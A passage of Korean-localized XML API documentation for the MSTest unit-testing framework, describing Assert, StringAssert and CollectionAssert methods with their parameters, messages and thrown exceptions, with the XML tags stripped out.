다음과 같은 경우: 또는 그 차이가 다음 미만인 경우: - . 메시지가 테스트 결과에 표시됩니다. - - - 다음의 서식을 지정할 때 사용할 매개 변수의 배열: . - - - Thrown if is equal to . - - - - - 지정된 문자열이 같은지를 테스트하고, 같지 않으면 예외를 - throw합니다. 비교에는 고정 문화권이 사용됩니다. - - - 비교할 첫 번째 문자열. 테스트가 예상하는 문자열입니다. - - - 비교할 두 번째 문자열. 테스트 중인 코드에 의해 생성된 문자열입니다. - - - 대/소문자를 구분하거나 구분하지 않는 비교를 나타내는 부울(true는 - 대/소문자를 구분하지 않는 비교를 나타냄). - - - Thrown if is not equal to . - - - - - 지정된 문자열이 같은지를 테스트하고, 같지 않으면 예외를 - throw합니다. 비교에는 고정 문화권이 사용됩니다. - - - 비교할 첫 번째 문자열. 테스트가 예상하는 문자열입니다. - - - 비교할 두 번째 문자열. 테스트 중인 코드에 의해 생성된 문자열입니다. - - - 대/소문자를 구분하거나 구분하지 않는 비교를 나타내는 부울(true는 - 대/소문자를 구분하지 않는 비교를 나타냄). - - - 다음과 같은 경우 예외에 포함할 메시지: - 이(가) 다음과 같지 않은 경우: . 메시지가 결과 테스트에 - 표시됩니다. - - - Thrown if is not equal to . - - - - - 지정된 문자열이 같은지를 테스트하고, 같지 않으면 예외를 - throw합니다. 비교에는 고정 문화권이 사용됩니다. - - - 비교할 첫 번째 문자열. 테스트가 예상하는 문자열입니다. - - - 비교할 두 번째 문자열. 테스트 중인 코드에 의해 생성된 문자열입니다. - - - 대/소문자를 구분하거나 구분하지 않는 비교를 나타내는 부울(true는 - 대/소문자를 구분하지 않는 비교를 나타냄). - - - 다음과 같은 경우 예외에 포함할 메시지: - 이(가) 다음과 같지 않은 경우: . 메시지가 결과 테스트에 - 표시됩니다. - - - 다음의 서식을 지정할 때 사용할 매개 변수의 배열: . - - - Thrown if is not equal to . - - - - - 지정된 문자열이 같은지를 테스트하고, 같지 않으면 예외를 - throw합니다. - - - 비교할 첫 번째 문자열. 테스트가 예상하는 문자열입니다. - - - 비교할 두 번째 문자열. 테스트 중인 코드에 의해 생성된 문자열입니다. - - - 대/소문자를 구분하거나 구분하지 않는 비교를 나타내는 부울(true는 - 대/소문자를 구분하지 않는 비교를 나타냄). - - - 문화권 관련 비교 정보를 제공하는 CultureInfo 개체. - - - Thrown if is not equal to . - - - - - 지정된 문자열이 같은지를 테스트하고, 같지 않으면 예외를 - throw합니다. - - - 비교할 첫 번째 문자열. 테스트가 예상하는 문자열입니다. - - - 비교할 두 번째 문자열. 테스트 중인 코드에 의해 생성된 문자열입니다. - - - 대/소문자를 구분하거나 구분하지 않는 비교를 나타내는 부울(true는 - 대/소문자를 구분하지 않는 비교를 나타냄). - - - 문화권 관련 비교 정보를 제공하는 CultureInfo 개체. - - - 다음과 같은 경우 예외에 포함할 메시지: - 이(가) 다음과 같지 않은 경우: . 메시지가 결과 테스트에 - 표시됩니다. - - - Thrown if is not equal to . - - - - - 지정된 문자열이 같은지를 테스트하고, 같지 않으면 예외를 - throw합니다. - - - 비교할 첫 번째 문자열. 테스트가 예상하는 문자열입니다. - - - 비교할 두 번째 문자열. 테스트 중인 코드에 의해 생성된 문자열입니다. - - - 대/소문자를 구분하거나 구분하지 않는 비교를 나타내는 부울(true는 - 대/소문자를 구분하지 않는 비교를 나타냄). - - - 문화권 관련 비교 정보를 제공하는 CultureInfo 개체. - - - 다음과 같은 경우 예외에 포함할 메시지: - 이(가) 다음과 같지 않은 경우: . 메시지가 결과 테스트에 - 표시됩니다. - - - 다음의 서식을 지정할 때 사용할 매개 변수의 배열: . - - - Thrown if is not equal to . - - - - - 지정된 문자열이 다른지를 테스트하고, 같으면 예외를 - throw합니다. 비교에는 고정 문화권이 사용됩니다. - - - 비교할 첫 번째 문자열. 테스트가 다음과 일치하지 않을 것으로 예상하는 - 문자열: . - - - 비교할 두 번째 문자열. 테스트 중인 코드에 의해 생성된 문자열입니다. - - - 대/소문자를 구분하거나 구분하지 않는 비교를 나타내는 부울(true는 - 대/소문자를 구분하지 않는 비교를 나타냄). - - - Thrown if is equal to . - - - - - 지정된 문자열이 다른지를 테스트하고, 같으면 예외를 - throw합니다. 비교에는 고정 문화권이 사용됩니다. - - - 비교할 첫 번째 문자열. 테스트가 다음과 일치하지 않을 것으로 예상하는 - 문자열: . - - - 비교할 두 번째 문자열. 테스트 중인 코드에 의해 생성된 문자열입니다. - - - 대/소문자를 구분하거나 구분하지 않는 비교를 나타내는 부울(true는 - 대/소문자를 구분하지 않는 비교를 나타냄). - - - 다음과 같은 경우 예외에 포함할 메시지: - 이(가) 다음과 같은 경우: . 메시지가 결과 테스트에 - 표시됩니다. - - - Thrown if is equal to . - - - - - 지정된 문자열이 다른지를 테스트하고, 같으면 예외를 - throw합니다. 비교에는 고정 문화권이 사용됩니다. - - - 비교할 첫 번째 문자열. 테스트가 다음과 일치하지 않을 것으로 예상하는 - 문자열: . - - - 비교할 두 번째 문자열. 테스트 중인 코드에 의해 생성된 문자열입니다. - - - 대/소문자를 구분하거나 구분하지 않는 비교를 나타내는 부울(true는 - 대/소문자를 구분하지 않는 비교를 나타냄). - - - 다음과 같은 경우 예외에 포함할 메시지: - 이(가) 다음과 같은 경우: . 메시지가 결과 테스트에 - 표시됩니다. - - - 다음의 서식을 지정할 때 사용할 매개 변수의 배열: . - - - Thrown if is equal to . - - - - - 지정된 문자열이 다른지를 테스트하고, 같으면 예외를 - throw합니다. - - - 비교할 첫 번째 문자열. 테스트가 다음과 일치하지 않을 것으로 예상하는 - 문자열: . - - - 비교할 두 번째 문자열. 테스트 중인 코드에 의해 생성된 문자열입니다. - - - 대/소문자를 구분하거나 구분하지 않는 비교를 나타내는 부울(true는 - 대/소문자를 구분하지 않는 비교를 나타냄). - - - 문화권 관련 비교 정보를 제공하는 CultureInfo 개체. - - - Thrown if is equal to . - - - - - 지정된 문자열이 다른지를 테스트하고, 같으면 예외를 - throw합니다. - - - 비교할 첫 번째 문자열. 테스트가 다음과 일치하지 않을 것으로 예상하는 - 문자열: . - - - 비교할 두 번째 문자열. 테스트 중인 코드에 의해 생성된 문자열입니다. - - - 대/소문자를 구분하거나 구분하지 않는 비교를 나타내는 부울(true는 - 대/소문자를 구분하지 않는 비교를 나타냄). - - - 문화권 관련 비교 정보를 제공하는 CultureInfo 개체. - - - 다음과 같은 경우 예외에 포함할 메시지: - 이(가) 다음과 같은 경우: . 메시지가 결과 테스트에 - 표시됩니다. - - - Thrown if is equal to . - - - - - 지정된 문자열이 다른지를 테스트하고, 같으면 예외를 - throw합니다. - - - 비교할 첫 번째 문자열. 테스트가 다음과 일치하지 않을 것으로 예상하는 - 문자열: . - - - 비교할 두 번째 문자열. 테스트 중인 코드에 의해 생성된 문자열입니다. - - - 대/소문자를 구분하거나 구분하지 않는 비교를 나타내는 부울(true는 - 대/소문자를 구분하지 않는 비교를 나타냄). - - - 문화권 관련 비교 정보를 제공하는 CultureInfo 개체. - - - 다음과 같은 경우 예외에 포함할 메시지: - 이(가) 다음과 같은 경우: . 메시지가 결과 테스트에 - 표시됩니다. - - - 다음의 서식을 지정할 때 사용할 매개 변수의 배열: . - - - Thrown if is equal to . - - - - - 지정된 개체가 예상 형식의 인스턴스인지를 테스트하고, - 예상 형식이 개체의 상속 계층 구조에 있지 않은 예외를 - throw합니다. - - - 테스트가 지정된 형식일 것으로 예상하는 개체. - - - 다음의 예상 형식: . - - - Thrown if is null or - is not in the inheritance hierarchy - of . - - - - - 지정된 개체가 예상 형식의 인스턴스인지를 테스트하고, - 예상 형식이 개체의 상속 계층 구조에 있지 않은 예외를 - throw합니다. - - - 테스트가 지정된 형식일 것으로 예상하는 개체. - - - 다음의 예상 형식: . - - - 다음과 같은 경우 예외에 포함할 메시지: - 이(가) 다음의 인스턴스가 아닌 경우: . 메시지가 - 테스트 결과에 표시됩니다. - - - Thrown if is null or - is not in the inheritance hierarchy - of . - - - - - 지정된 개체가 예상 형식의 인스턴스인지를 테스트하고, - 예상 형식이 개체의 상속 계층 구조에 있지 않은 예외를 - throw합니다. - - - 테스트가 지정된 형식일 것으로 예상하는 개체. - - - 다음의 예상 형식: . - - - 다음과 같은 경우 예외에 포함할 메시지: - 이(가) 다음의 인스턴스가 아닌 경우: . 메시지가 - 테스트 결과에 표시됩니다. - - - 다음의 서식을 지정할 때 사용할 매개 변수의 배열: . - - - Thrown if is null or - is not in the inheritance hierarchy - of . - - - - - 지정된 개체가 잘못된 형식의 인스턴스가 아닌지를 테스트하고, - 지정된 형식이 개체의 상속 계층 구조에 있는 경우 예외를 - throw합니다. - - - 테스트가 지정된 형식이 아닐 것으로 예상하는 개체. - - - 형식: 이(가) 아니어야 함. - - - Thrown if is not null and - is in the inheritance hierarchy - of . - - - - - 지정된 개체가 잘못된 형식의 인스턴스가 아닌지를 테스트하고, - 지정된 형식이 개체의 상속 계층 구조에 있는 경우 예외를 - throw합니다. - - - 테스트가 지정된 형식이 아닐 것으로 예상하는 개체. - - - 형식: 이(가) 아니어야 함. - - - 다음과 같은 경우 예외에 포함할 메시지: - 이(가) 다음의 인스턴스인 경우: . 메시지가 테스트 결과에 - 표시됩니다. - - - Thrown if is not null and - is in the inheritance hierarchy - of . - - - - - 지정된 개체가 잘못된 형식의 인스턴스가 아닌지를 테스트하고, - 지정된 형식이 개체의 상속 계층 구조에 있는 경우 예외를 - throw합니다. - - - 테스트가 지정된 형식이 아닐 것으로 예상하는 개체. - - - 형식: 이(가) 아니어야 함. - - - 다음과 같은 경우 예외에 포함할 메시지: - 이(가) 다음의 인스턴스인 경우: . 메시지가 테스트 결과에 - 표시됩니다. - - - 다음의 서식을 지정할 때 사용할 매개 변수의 배열: . - - - Thrown if is not null and - is in the inheritance hierarchy - of . - - - - - AssertFailedException을 throw합니다. - - - Always thrown. - - - - - AssertFailedException을 throw합니다. - - - 예외에 포함할 메시지. 메시지가 테스트 결과에 - 표시됩니다. - - - Always thrown. - - - - - AssertFailedException을 throw합니다. - - - 예외에 포함할 메시지. 메시지가 테스트 결과에 - 표시됩니다. - - - 다음의 서식을 지정할 때 사용할 매개 변수의 배열: . - - - Always thrown. - - - - - AssertInconclusiveException을 throw합니다. - - - Always thrown. - - - - - AssertInconclusiveException을 throw합니다. - - - 예외에 포함할 메시지. 메시지가 테스트 결과에 - 표시됩니다. - - - Always thrown. - - - - - AssertInconclusiveException을 throw합니다. - - - 예외에 포함할 메시지. 메시지가 테스트 결과에 - 표시됩니다. - - - 다음의 서식을 지정할 때 사용할 매개 변수의 배열: . - - - Always thrown. - - - - - 참조 같음에 대해 두 형식의 인스턴스를 비교하는 데 정적 equals 오버로드가 - 사용됩니다. 이 메서드는 같음에 대해 두 인스턴스를 비교하는 데 사용되지 않습니다. - 이 개체는 항상 Assert.Fail과 함께 throw됩니다. 단위 테스트에서 - Assert.AreEqual 및 관련 오버로드를 사용하세요. - - 개체 A - 개체 B - 항상 False. - - - - 대리자가 지정한 코드가 형식의 정확한 특정 예외(파생된 형식이 아님)를 throw하는지 테스트하고 - 코드가 예외를 throw하지 않거나 이(가) 아닌 형식의 예외를 throw하는 경우 - - AssertFailedException - - 을 throw합니다. - - - 테스트할 코드 및 예외를 throw할 것으로 예상되는 코드에 대한 대리자. - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - throw될 예외 형식입니다. - - - - - 대리자가 지정한 코드가 형식의 정확한 특정 예외(파생된 형식이 아님)를 throw하는지 테스트하고 - 코드가 예외를 throw하지 않거나 이(가) 아닌 형식의 예외를 throw하는 경우 - - AssertFailedException - - 을 throw합니다. - - - 테스트할 코드 및 예외를 throw할 것으로 예상되는 코드에 대한 대리자. - - - 다음과 같은 경우 예외에 포함할 메시지: - 이(가) 다음 형식의 예외를 throw하지 않는 경우:. - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - throw될 예외 형식입니다. - - - - - 대리자가 지정한 코드가 형식의 정확한 특정 예외(파생된 형식이 아님)를 throw하는지 테스트하고 - 코드가 예외를 throw하지 않거나 이(가) 아닌 형식의 예외를 throw하는 경우 - - AssertFailedException - - 을 throw합니다. - - - 테스트할 코드 및 예외를 throw할 것으로 예상되는 코드에 대한 대리자. - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - throw될 예외 형식입니다. - - - - - 대리자가 지정한 코드가 형식의 정확한 특정 예외(파생된 형식이 아님)를 throw하는지 테스트하고 - 코드가 예외를 throw하지 않거나 이(가) 아닌 형식의 예외를 throw하는 경우 - - AssertFailedException - - 을 throw합니다. - - - 테스트할 코드 및 예외를 throw할 것으로 예상되는 코드에 대한 대리자. - - - 다음과 같은 경우 예외에 포함할 메시지: - 이(가) 다음 형식의 예외를 throw하지 않는 경우:. - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - throw될 예외 형식입니다. - - - - - 대리자가 지정한 코드가 형식의 정확한 특정 예외(파생된 형식이 아님)를 throw하는지 테스트하고 - 코드가 예외를 throw하지 않거나 이(가) 아닌 형식의 예외를 throw하는 경우 - - AssertFailedException - - 을 throw합니다. - - - 테스트할 코드 및 예외를 throw할 것으로 예상되는 코드에 대한 대리자. - - - 다음과 같은 경우 예외에 포함할 메시지: - 이(가) 다음 형식의 예외를 throw하지 않는 경우:. - - - 다음의 서식을 지정할 때 사용할 매개 변수의 배열: . - - - Type of exception expected to be thrown. - - - Thrown if does not throw exception of type . - - - throw될 예외 형식입니다. - - - - - 대리자가 지정한 코드가 형식의 정확한 특정 예외(파생된 형식이 아님)를 throw하는지 테스트하고 - 코드가 예외를 throw하지 않거나 이(가) 아닌 형식의 예외를 throw하는 경우 - - AssertFailedException - - 을 throw합니다. - - - 테스트할 코드 및 예외를 throw할 것으로 예상되는 코드에 대한 대리자. - - - 다음과 같은 경우 예외에 포함할 메시지: - 이(가) 다음 형식의 예외를 throw하지 않는 경우:. - - - 다음의 서식을 지정할 때 사용할 매개 변수의 배열: . - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - throw될 예외 형식입니다. - - - - - 대리자가 지정한 코드가 형식의 정확한 특정 예외(파생된 형식이 아님)를 throw하는지 테스트하고 - 코드가 예외를 throw하지 않거나 이(가) 아닌 형식의 예외를 throw하는 경우 - - AssertFailedException - - 을 throw합니다. - - - 테스트할 코드 및 예외를 throw할 것으로 예상되는 코드에 대한 대리자. - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - 오류가 발생했습니다. - - - - - 대리자가 지정한 코드가 형식의 정확한 특정 예외(파생된 형식이 아님)를 throw하는지 테스트하고 - 코드가 예외를 throw하지 않거나 이(가) 아닌 형식의 예외를 throw하는 경우 AssertFailedException을 throw합니다. - - 테스트할 코드 및 예외를 throw할 것으로 예상되는 코드에 대한 대리자. - - 다음과 같은 경우 예외에 포함할 메시지: - 이(가) 다음 형식의 예외를 throw하지 않는 경우: . - - Type of exception expected to be thrown. - - Thrown if does not throws exception of type . - - - 오류가 발생했습니다. - - - - - 대리자가 지정한 코드가 형식의 정확한 특정 예외(파생된 형식이 아님)를 throw하는지 테스트하고 - 코드가 예외를 throw하지 않거나 이(가) 아닌 형식의 예외를 throw하는 경우 AssertFailedException을 throw합니다. - - 테스트할 코드 및 예외를 throw할 것으로 예상되는 코드에 대한 대리자. - - 다음과 같은 경우 예외에 포함할 메시지: - 이(가) 다음 형식의 예외를 throw하지 않는 경우: . - - - 다음의 서식을 지정할 때 사용할 매개 변수의 배열: . - - Type of exception expected to be thrown. - - Thrown if does not throws exception of type . - - - 오류가 발생했습니다. - - - - - Null 문자('\0')를 "\\0"으로 바꿉니다. - - - 검색할 문자열. - - - Null 문자가 "\\0"으로 교체된 변환된 문자열. - - - This is only public and still present to preserve compatibility with the V1 framework. - - - - - AssertionFailedException을 만들고 throw하는 도우미 함수 - - - 예외를 throw하는 어설션의 이름 - - - 어설션 실패에 대한 조건을 설명하는 메시지 - - - 매개 변수. - - - - - 유효한 조건의 매개 변수를 확인합니다. - - - 매개 변수. - - - 어셜선 이름. - - - 매개 변수 이름 - - - 잘못된 매개 변수 예외에 대한 메시지 - - - 매개 변수. - - - - - 개체를 문자열로 안전하게 변환하고, Null 값 및 Null 문자를 처리합니다. - Null 값은 "(null)"로 변환됩니다. Null 문자는 "\\0"으로 변환됩니다. - - - 문자열로 변환될 개체. - - - 변환된 문자열. - - - - - 문자열 어셜션입니다. - - - - - CollectionAssert 기능의 singleton 인스턴스를 가져옵니다. - - - Users can use this to plug-in custom assertions through C# extension methods. - For instance, the signature of a custom assertion provider could be "public static void ContainsWords(this StringAssert cusomtAssert, string value, ICollection substrings)" - Users could then use a syntax similar to the default assertions which in this case is "StringAssert.That.ContainsWords(value, substrings);" - More documentation is at "https://github.com/Microsoft/testfx-docs". - - - - - 지정된 문자열에 지정된 하위 문자열이 포함되었는지를 테스트하고, - 테스트 문자열 내에 해당 하위 문자열이 없으면 예외를 - throw합니다. - - - 다음을 포함할 것으로 예상되는 문자열: . - - - 다음 이내에 발생할 것으로 예상되는 문자열 . - - - Thrown if is not found in - . - - - - - 지정된 문자열에 지정된 하위 문자열이 포함되었는지를 테스트하고, - 테스트 문자열 내에 해당 하위 문자열이 없으면 예외를 - throw합니다. - - - 다음을 포함할 것으로 예상되는 문자열: . - - - 다음 이내에 발생할 것으로 예상되는 문자열 . - - - 다음과 같은 경우 예외에 포함할 메시지: - 이(가) 다음에 없는 경우: . 메시지가 결과 테스트에 - 표시됩니다. - - - Thrown if is not found in - . - - - - - 지정된 문자열에 지정된 하위 문자열이 포함되었는지를 테스트하고, - 테스트 문자열 내에 해당 하위 문자열이 없으면 예외를 - throw합니다. - - - 다음을 포함할 것으로 예상되는 문자열: . - - - 다음 이내에 발생할 것으로 예상되는 문자열 . - - - 다음과 같은 경우 예외에 포함할 메시지: - 이(가) 다음에 없는 경우: . 메시지가 결과 테스트에 - 표시됩니다. - - - 다음의 서식을 지정할 때 사용할 매개 변수의 배열: . - - - Thrown if is not found in - . - - - - - 지정된 문자열이 지정된 하위 문자열로 시작되는지를 테스트하고, - 테스트 문자열이 해당 하위 문자열로 시작되지 않으면 예외를 - throw합니다. - - - 다음으로 시작될 것으로 예상되는 문자열: . - - - 다음의 접두사일 것으로 예상되는 문자열: . - - - Thrown if does not begin with - . - - - - - 지정된 문자열이 지정된 하위 문자열로 시작되는지를 테스트하고, - 테스트 문자열이 해당 하위 문자열로 시작되지 않으면 예외를 - throw합니다. - - - 다음으로 시작될 것으로 예상되는 문자열: . - - - 다음의 접두사일 것으로 예상되는 문자열: . - - - 다음과 같은 경우 예외에 포함할 메시지: - 이(가) 다음으로 시작되지 않는 경우: . 메시지가 - 테스트 결과에 표시됩니다. - - - Thrown if does not begin with - . - - - - - 지정된 문자열이 지정된 하위 문자열로 시작되는지를 테스트하고, - 테스트 문자열이 해당 하위 문자열로 시작되지 않으면 예외를 - throw합니다. - - - 다음으로 시작될 것으로 예상되는 문자열: . - - - 다음의 접두사일 것으로 예상되는 문자열: . - - - 다음과 같은 경우 예외에 포함할 메시지: - 이(가) 다음으로 시작되지 않는 경우: . 메시지가 - 테스트 결과에 표시됩니다. - - - 다음의 서식을 지정할 때 사용할 매개 변수의 배열: . - - - Thrown if does not begin with - . - - - - - 지정된 문자열이 지정된 하위 문자열로 끝나는지를 테스트하고, - 테스트 문자열이 해당 하위 문자열로 끝나지 않으면 예외를 - throw합니다. - - - 다음으로 끝날 것으로 예상되는 문자열: . - - - 다음의 접미사일 것으로 예상되는 문자열: . - - - Thrown if does not end with - . - - - - - 지정된 문자열이 지정된 하위 문자열로 끝나는지를 테스트하고, - 테스트 문자열이 해당 하위 문자열로 끝나지 않으면 예외를 - throw합니다. - - - 다음으로 끝날 것으로 예상되는 문자열: . - - - 다음의 접미사일 것으로 예상되는 문자열: . - - - 다음과 같은 경우 예외에 포함할 메시지: - 이(가) 다음으로 끝나지 않는 경우: . 메시지가 - 테스트 결과에 표시됩니다. - - - Thrown if does not end with - . - - - - - 지정된 문자열이 지정된 하위 문자열로 끝나는지를 테스트하고, - 테스트 문자열이 해당 하위 문자열로 끝나지 않으면 예외를 - throw합니다. - - - 다음으로 끝날 것으로 예상되는 문자열: . - - - 다음의 접미사일 것으로 예상되는 문자열: . - - - 다음과 같은 경우 예외에 포함할 메시지: - 이(가) 다음으로 끝나지 않는 경우: . 메시지가 - 테스트 결과에 표시됩니다. - - - 다음의 서식을 지정할 때 사용할 매개 변수의 배열: . - - - Thrown if does not end with - . - - - - - 지정된 문자열이 정규식과 일치하는지를 테스트하고, 문자열이 - 식과 일치하지 않으면 예외를 throw합니다. - - - 다음과 일치할 것으로 예상되는 문자열: . - - - 과(와) - 일치할 것으로 예상되는 정규식 - - - Thrown if does not match - . - - - - - 지정된 문자열이 정규식과 일치하는지를 테스트하고, 문자열이 - 식과 일치하지 않으면 예외를 throw합니다. - - - 다음과 일치할 것으로 예상되는 문자열: . - - - 과(와) - 일치할 것으로 예상되는 정규식 - - - 다음과 같은 경우 예외에 포함할 메시지: - 이(가) 다음과 일치하지 않는 경우: . 메시지가 결과 테스트에 - 표시됩니다. - - - Thrown if does not match - . - - - - - 지정된 문자열이 정규식과 일치하는지를 테스트하고, 문자열이 - 식과 일치하지 않으면 예외를 throw합니다. - - - 다음과 일치할 것으로 예상되는 문자열: . - - - 과(와) - 일치할 것으로 예상되는 정규식 - - - 다음과 같은 경우 예외에 포함할 메시지: - 이(가) 다음과 일치하지 않는 경우: . 메시지가 결과 테스트에 - 표시됩니다. - - - 다음의 서식을 지정할 때 사용할 매개 변수의 배열: . - - - Thrown if does not match - . - - - - - 지정된 문자열이 정규식과 일치하지 않는지를 테스트하고, 문자열이 - 식과 일치하면 예외를 throw합니다. - - - 다음과 일치하지 않을 것으로 예상되는 문자열: . - - - 과(와) - 일치하지 않을 것으로 예상되는 정규식. - - - Thrown if matches . - - - - - 지정된 문자열이 정규식과 일치하지 않는지를 테스트하고, 문자열이 - 식과 일치하면 예외를 throw합니다. - - - 다음과 일치하지 않을 것으로 예상되는 문자열: . - - - 과(와) - 일치하지 않을 것으로 예상되는 정규식. - - - 다음과 같은 경우 예외에 포함할 메시지: - 이(가) 다음과 일치하는 경우: . 메시지가 테스트 결과에 - 표시됩니다. - - - Thrown if matches . - - - - - 지정된 문자열이 정규식과 일치하지 않는지를 테스트하고, 문자열이 - 식과 일치하면 예외를 throw합니다. - - - 다음과 일치하지 않을 것으로 예상되는 문자열: . - - - 과(와) - 일치하지 않을 것으로 예상되는 정규식. - - - 다음과 같은 경우 예외에 포함할 메시지: - 이(가) 다음과 일치하는 경우: . 메시지가 테스트 결과에 - 표시됩니다. - - - 다음의 서식을 지정할 때 사용할 매개 변수의 배열: . - - - Thrown if matches . - - - - - 단위 테스트 내에서 컬렉션과 연결된 다양한 조건을 테스트하기 - 위한 도우미 클래스의 컬렉션. 테스트 중인 조건이 충족되지 않으면 - 예외가 throw됩니다. - - - - - CollectionAssert 기능의 singleton 인스턴스를 가져옵니다. - - - Users can use this to plug-in custom assertions through C# extension methods. - For instance, the signature of a custom assertion provider could be "public static void AreEqualUnordered(this CollectionAssert cusomtAssert, ICollection expected, ICollection actual)" - Users could then use a syntax similar to the default assertions which in this case is "CollectionAssert.That.AreEqualUnordered(list1, list2);" - More documentation is at "https://github.com/Microsoft/testfx-docs". - - - - - 지정된 컬렉션이 지정된 요소를 포함하는지를 테스트하고, - 컬렉션에 요소가 없으면 예외를 throw합니다. - - - 요소를 검색할 컬렉션. - - - 컬렉션에 포함될 것으로 예상되는 요소. - - - Thrown if is not found in - . - - - - - 지정된 컬렉션이 지정된 요소를 포함하는지를 테스트하고, - 컬렉션에 요소가 없으면 예외를 throw합니다. - - - 요소를 검색할 컬렉션. - - - 컬렉션에 포함될 것으로 예상되는 요소. - - - 다음과 같은 경우 예외에 포함할 메시지: - 이(가) 다음에 없는 경우: . 메시지가 결과 테스트에 - 표시됩니다. - - - Thrown if is not found in - . - - - - - 지정된 컬렉션이 지정된 요소를 포함하는지를 테스트하고, - 컬렉션에 요소가 없으면 예외를 throw합니다. - - - 요소를 검색할 컬렉션. - - - 컬렉션에 포함될 것으로 예상되는 요소. - - - 다음과 같은 경우 예외에 포함할 메시지: - 이(가) 다음에 없는 경우: . 메시지가 결과 테스트에 - 표시됩니다. - - - 다음의 서식을 지정할 때 사용할 매개 변수의 배열: . - - - Thrown if is not found in - . - - - - - 지정된 컬렉션이 지정된 요소를 포함하지 않는지를 테스트하고, - 컬렉션에 요소가 있으면 예외를 throw합니다. - - - 요소를 검색할 컬렉션. - - - 컬렉션에 포함되지 않을 것으로 예상되는 요소. - - - Thrown if is found in - . - - - - - 지정된 컬렉션이 지정된 요소를 포함하지 않는지를 테스트하고, - 컬렉션에 요소가 있으면 예외를 throw합니다. - - - 요소를 검색할 컬렉션. - - - 컬렉션에 포함되지 않을 것으로 예상되는 요소. - - - 다음과 같은 경우 예외에 포함할 메시지: - 이(가) 다음에 포함된 경우: . 메시지가 테스트 결과에 - 표시됩니다. - - - Thrown if is found in - . - - - - - 지정된 컬렉션이 지정된 요소를 포함하지 않는지를 테스트하고, - 컬렉션에 요소가 있으면 예외를 throw합니다. - - - 요소를 검색할 컬렉션. - - - 컬렉션에 포함되지 않을 것으로 예상되는 요소. - - - 다음과 같은 경우 예외에 포함할 메시지: - 이(가) 다음에 포함된 경우: . 메시지가 테스트 결과에 - 표시됩니다. - - - 다음의 서식을 지정할 때 사용할 매개 변수의 배열: . - - - Thrown if is found in - . - - - - - 지정된 컬렉션의 모든 항목이 Null이 아닌지를 테스트하고, - Null인 요소가 있으면 예외를 throw합니다. - - - Null 요소를 검색할 컬렉션. - - - Thrown if a null element is found in . - - - - - 지정된 컬렉션의 모든 항목이 Null이 아닌지를 테스트하고, - Null인 요소가 있으면 예외를 throw합니다. - - - Null 요소를 검색할 컬렉션. - - - 다음과 같은 경우 예외에 포함할 메시지: - 이(가) null 요소를 포함하는 경우. 메시지가 테스트 결과에 표시됩니다. - - - Thrown if a null element is found in . - - - - - 지정된 컬렉션의 모든 항목이 Null이 아닌지를 테스트하고, - Null인 요소가 있으면 예외를 throw합니다. - - - Null 요소를 검색할 컬렉션. - - - 다음과 같은 경우 예외에 포함할 메시지: - 이(가) null 요소를 포함하는 경우. 메시지가 테스트 결과에 표시됩니다. - - - 다음의 서식을 지정할 때 사용할 매개 변수의 배열: . - - - Thrown if a null element is found in . - - - - - 지정된 컬렉션의 모든 항목이 고유한지 여부를 테스트하고, - 컬렉션에 두 개의 같은 요소가 있는 경우 예외를 throw합니다. - - - 중복 요소를 검색할 컬렉션. - - - Thrown if a two or more equal elements are found in - . - - - - - 지정된 컬렉션의 모든 항목이 고유한지 여부를 테스트하고, - 컬렉션에 두 개의 같은 요소가 있는 경우 예외를 throw합니다. - - - 중복 요소를 검색할 컬렉션. - - - 다음과 같은 경우 예외에 포함할 메시지: - 이(가) 하나 이상의 중복 요소를 포함하는 경우. 메시지는 테스트 결과에 - 표시됩니다. - - - Thrown if a two or more equal elements are found in - . - - - - - 지정된 컬렉션의 모든 항목이 고유한지 여부를 테스트하고, - 컬렉션에 두 개의 같은 요소가 있는 경우 예외를 throw합니다. - - - 중복 요소를 검색할 컬렉션. - - - 다음과 같은 경우 예외에 포함할 메시지: - 이(가) 하나 이상의 중복 요소를 포함하는 경우. 메시지는 테스트 결과에 - 표시됩니다. - - - 다음의 서식을 지정할 때 사용할 매개 변수의 배열: . - - - Thrown if a two or more equal elements are found in - . - - - - - 한 컬렉션이 다른 컬렉션의 하위 집합인지를 테스트하고, - 하위 집합의 요소가 상위 집합에 없는 경우 - 예외를 throw합니다. - - - 다음의 하위 집합일 것으로 예상되는 컬렉션: . - - - 다음의 상위 집합일 것으로 예상되는 컬렉션: - - - Thrown if an element in is not found in - . - - - - - 한 컬렉션이 다른 컬렉션의 하위 집합인지를 테스트하고, - 하위 집합의 요소가 상위 집합에 없는 경우 - 예외를 throw합니다. - - - 다음의 하위 집합일 것으로 예상되는 컬렉션: . - - - 다음의 상위 집합일 것으로 예상되는 컬렉션: - - - - 의 요소가 다음에서 발견되지 않는 경우 예외에 포함할 메시지입니다.. - 테스트 결과에 메시지가 표시됩니다. - - - Thrown if an element in is not found in - . - - - - - 한 컬렉션이 다른 컬렉션의 하위 집합인지를 테스트하고, - 하위 집합의 요소가 상위 집합에 없는 경우 - 예외를 throw합니다. - - - 다음의 하위 집합일 것으로 예상되는 컬렉션: . - - - 다음의 상위 집합일 것으로 예상되는 컬렉션: - - - - 의 모든 요소가 다음에서 발견되지 않는 경우 예외에 포함할 메시지: . - 테스트 결과에 메시지가 표시됩니다. - - - 다음의 서식을 지정할 때 사용할 매개 변수의 배열: . - - - Thrown if an element in is not found in - . - - - - - 한 컬렉션이 다른 컬렉션의 하위 집합이 아닌지를 테스트하고, - 하위 집합의 요소가 상위 집합에도 있는 경우 - 예외를 throw합니다. - - - 다음의 하위 집합이 아닐 것으로 예상되는 컬렉션: . - - - 다음의 상위 집합일 것으로 예상되지 않는 컬렉션: - - - Thrown if every element in is also found in - . - - - - - 한 컬렉션이 다른 컬렉션의 하위 집합이 아닌지를 테스트하고, - 하위 집합의 요소가 상위 집합에도 있는 경우 - 예외를 throw합니다. - - - 다음의 하위 집합이 아닐 것으로 예상되는 컬렉션: . - - - 다음의 상위 집합일 것으로 예상되지 않는 컬렉션: - - - - 의 모든 요소가 다음에서도 발견되는 경우 예외에 포함할 메시지: . - 테스트 결과에 메시지가 표시됩니다. - - - Thrown if every element in is also found in - . - - - - - 한 컬렉션이 다른 컬렉션의 하위 집합이 아닌지를 테스트하고, - 하위 집합의 요소가 상위 집합에도 있는 경우 - 예외를 throw합니다. - - - 다음의 하위 집합이 아닐 것으로 